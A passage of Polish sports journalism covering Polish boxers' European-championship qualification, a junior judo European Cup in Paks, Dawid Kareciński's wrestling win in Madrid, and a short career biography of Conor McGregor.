Z jednej strony zawodnicy walczą o medale, a z drugiej o szansę występu w mistrzostwach świata w Katarze. W kategoriach 49kg, 75kg oraz +91kg awans na imprezę uzyska po trzech najlepszych zawodników, więc Jagodziński, Jakubowski i Wierzbicki stają przed trudnym wyzwaniem. Inaczej jest w pozostałych limitach. W innych kategoriach udział w mistrzostwach świata będzie miało zapewnionych sześciu najlepszych zawodników.

Polscy bokserzy mają, o co walczyć. Mateusz Polski dał znak do ataku. W Baku sięgnął po brązowy medal. Czy jego koledzy pójdą za ciosem w Sofii? Być może Polski rozpoczął dobrą passę polskiego boksu. O tym przekonamy się dopiero w sierpniu. Nasi zawodnicy mają jeszcze ponad dwa tygodnie na dopracowanie szczegółów i szlifowanie formy przed mistrzostwami Europy.

KM

Młoda Polka z węgierskim brązem

Anna Załęczna spisała się na medal. Młodzi judocy rywalizowali w Pucharze Europy Juniorów i Juniorek w węgierskim mieście Paks. Załęczna spisała się najlepiej z reprezentantów Polski – wywalczyła brązowy medal.

W zawodach wzięło udział trzystu czterdziestu pięciu zawodników, z wyraźną przewagą wśród panów. Na Węgrzech zaprezentowało się dwustu czterdziestu dwóch judoków i zaledwie sto dwie judoczki. Niektóre kategorie nie były w pełni obsadzone.

Tylko jedna porażka

Anna Załęczna znajduje się w wyśmienitym nastroju. W końcu stanęła na podium Pucharu Europy. Medal mógł mieć inny kolor, ale młoda Polka przegrała jedną walkę. Załęczna nie miała dobrego wejścia w węgierski turniej i szybko mogła stracić nadzieje na sukces. Polka przegrała z reprezentantką Niemiec Renee Lucht, która triumfowała w kategorii +78kg. W repasażach Załęczna uporała się z Węgierką Reką Varga oraz Austriaczką Danielą Rainer, co pozwoliło jej stanąć na podium.

Nasza juniorka w Paks stoczyła zaledwie trzy walki. To niewiele. Załęczna wygrała dwa pojedynki i jeden przegrała, co w ostatecznym rozrachunku pozwoliło jej sięgnąć po brązowy medal. W kategorii +78kg rywalizowało zaledwie osiem zawodniczek, więc de facto wywalczenie miejsca na podium nie było trudnym zadaniem. Dwie wygrane walki gwarantowały już medal. Polka zrealizowała scenariusz i za to należą jej się wyrazy uznania. Zrobiła swoje, nie jest jej winą fakt, że w jej kategorii rywalizowała tak mała liczba zawodniczek.

Rosyjsko – niemiecki turniej

Rywalizacja wśród panów była zdecydowanie bardziej wyrównana. Judoków było zdecydowanie więcej, co pozwoliło stworzyć warunki do rozegrania zawodów na określonym poziomie, czego nie można powiedzieć o paniach. W kategorii 44kg wystartowały zaledwie … cztery zawodniczki. Najwięcej kobiet na tatami pojawiło się w 63kg – dwadzieścia jeden. Dla porównania, wśród panów najmniejsza ilość startujących zawodników to dziesięć (55kg), a największa – pięćdziesięciu sześciu (73kg).

W klasyfikacji medalowej triumfowali Niemcy, którzy wywalczyli łącznie osiem krążków. Takim samym dorobkiem mogą pochwalić się judocy z Rosji. Z tą różnicą, że Niemcy zdobyli trzy złote, dwa srebrne i dwa brązowe medale, a zawodnicy Sbornej na swoim koncie zapisali trzy złota, trzy brązy i jedno srebro. Tyle samo pierwszych miejsc wywalczyli Francuzi, jednak Trójkolorowi nie mają w swoim dorobku innych krążków.

Warto nadmienić, że w rywalizacji panów złotymi medalami podzielili się Niemcy, Rosjanie i Francuzi. Wśród pań rywalizacja była bardziej rozdrobniona i trudno wskazać nację, która zdecydowanie dominowała. Co prawda Słowenki wywalczyły dwa złota – w kategoriach 48kg i 57kg, co w połączeniu z dwoma srebrnymi medalami dało im czwarte miejsce w klasyfikacji medalowej. Kategoria 78kg została zdominowana przez Holenderki, które zajęły praktycznie całe podium, dołączyła do nich Węgierka Fanni Toth.

KM

Kareciński zdobył Madryt

Polski zapaśnik w stylu klasycznym okazał się najlepszy podczas Grand Prix Hiszpanii. Dawid Kareciński w kategorii 66kg w Madrycie nie pozostawił przeciwnikom żadnych złudzeń.

Polak szedł przez turniej jak burza. Jedynie w półfinale trafił na przeciwnika, który podjął wyrównaną walkę, jednak zawody w Hiszpanii należały do Karecińskiego.

Idealny start

W pierwszej walce polski zapaśnik trafił na Koreańczyka Ryu, który nie sprawił mu większych problemów. Kareciński okazał się zdecydowanie lepszy i obie rundy wygrał po 3:1. Jak się okazało Hansu Ryu w Madrycie wywalczył brązowy medal, co pokazuje, że polski zapaśnik od początku prezentował wysoką formę. Horigo Yuta był drugim rywalem Karecińskiego podczas hiszpańskiego turnieju. Na początek Polak dostał dwóch przeciwników z Azji, jednak nie było to dla niego żadnym wyzwaniem. Kareciński postawił wysokio poprzeczkę zawodnikowi z Kraju Kwitnącej Wiśni. Był skuteczny, uważny i precyzyjny. Dwie rundy na korzyść Polaka i pewne zwycięstwo.

W półfinale Kareciński trafił na zawodnika z Rosji. Nazir Abdullaev w ćwierćfinale odprawił z turnieju innego reprezentanta Polski – Grzegorza Wanke. Nasz zawodnik okazał się bezsilny w starciu z zawodnikiem z Rosji i wyraźnie przegrał – 0:6, 0:3. Kareciński chciał wygrać i walczyć o złoty medal, a przy okazji udowodnić Abdullaevowi, że polscy zapaśnicy prezentują wysoki poziom. Pierwsza runda bardzo wyrównana. Obaj zawodnicy czujni, jednak udało im się przeprowadzić akcje punktowe. Pierwsza odsłona zakończyła się remisem 2:2, więc wszystko miało rozstrzygnąć się w kolejnym rozdaniu. Kareciński okazał się lepszy, wygrał 3:1 i mógł walczyć o złoty medal.

Aram Julfalakyan z Armenii w półfinale nie pozostawił złudzeń Ismaelowi Navarro i pewnie awansował do finału. W decydującym pojedynku musiał mieć świadomość, że trafił na rywala w doskonałej dyspozycji. W Madrycie nikt nie był w stanie pokonać Karecińskiego. Polak był bardzo pewny siebie i pokonywał kolejne przeszkody. Julfalakyan przegrał obie rundy w stosunku 1:3. Kareciński sięgnął po złoty medal. Na siódmym miejscu rywalizację w kategorii 66kg zakończył Grzegorz Wanke.

Blisko podium

W kategorii 75kg z dobrej strony zaprezentował się Arkadiusz Kulynycz. Polak wygrał pierwszą walkę, ale w kolejnej musiał uznać wyższość zawodnika z Armenii. Arsen Julfalakyan w Madrycie okazał się przekleństwem Polaków. W ćwierćfinale wyeliminował Dawida Klimka, choć pierwsza runda była wyrównana i zakończyła się remisem. Reprezentant Armenii w drugiej rundzie przystąpił do ataku, co dało mu zwycięstwo – 5:0. Ostatecznie Julfalakyan w Madrycie zajął drugie miejsce.

Kulynycz bardzo dobrze poradził w repasażach, gdzie wygrał dwie walki. W jednym z pojedynków pokonał Dawida Klimka, jednak nie zdołał uporać się z Turkiem Srefem Tufenkiem. Ostatecznie Kulynycz uplasował się na piątym miejscu, dwa miejsca niżej znalazł się Klimek, a Jacek Tomaszewski był dwunasty.

KM

Conor McGregor

Irlandzki zawodnik MMA urodzony 14 lipca 1988 roku  w Dublinie. W MMA zadebiutował 9 marca 2008 roku na lokalnej gali w Dublinie, pokonując Gary’ego Morrisa przez TKO. Pierwszą zawodową porażkę zanotował 28 czerwca tego samego roku, przegrywając  przez poddanie z Artemijem Sitienkowem. 9 października 2010 roku uległ Josephowi Duffy’emu na gali Cage Warriors 39, poddając się wskutek duszenia.  Od 2011 do 2012 roku stoczył osiem wygranych pojedynków, oraz został mistrzem Cage Warriors w dwóch kategoriach wagowych piórkowej (02-06-2012) oraz lekkiej (31-12-2012), pokonując Dave’a Hilla i Ivana Buchingera. Po sukcesach w Irlandii, w 2013 roku podpisał kontrakt z UFC.  Dla UFC zadebiutował 6 kwietnia 2013 roku na gali UFC on Fuel, na której znokautował Marcusa Brimagea. Za ten nokaut otrzymał bonus za „ nokaut wieczoru”. 17 sierpnia 2013 roku wygrał na punkty z Maxem Hollowayem, mimo iż od drugiej rundy walczył z uszkodzonym więzadłem krzyżowym przednim. 19 lipca 2014 roku stoczył wygrany pojedynek w walce wieczoru w swoim rodzinnym Dublinie, pokonując Diego Brandao przez TKO w pierwszej rundzie.  18 stycznia 2015 roku pokonał Niemca Dennisa Sivera przez TKO w drugiej rundzie.  Po tym zwycięstwie otrzymał szansę walki o pas wagi piórkowej z Jose Aldo.  Do walki o pas miało dojść 11 lipca 2015 roku, lecz na dwa tygodnie przed galą mistrz Aldo złamał żebro podczas jednego z treningów i musiał wycofać się z pojedynku. Ogłoszono zastępstwo w postaci Chada Mendesa, a stawką było tymczasowe mistrzostwo. McGregor pokonał Mendesa przez TKO w drugiej rundzie. 12 grudnia doszło do starcia z Jose Aldo. McGregor potrzebował zaledwie 13 sekund żeby znokautować mistrza wagi piórkowej i zdobyć upragniony tytuł. 5 marca 2016 roku na gali UFC 196 Conor McGregor zmierzył się w walce wieczoru z Nate'em Diaz'em. Irlandczyk przegrał z Amerykaninem przez duszenie zza pleców w drugiej rundzie.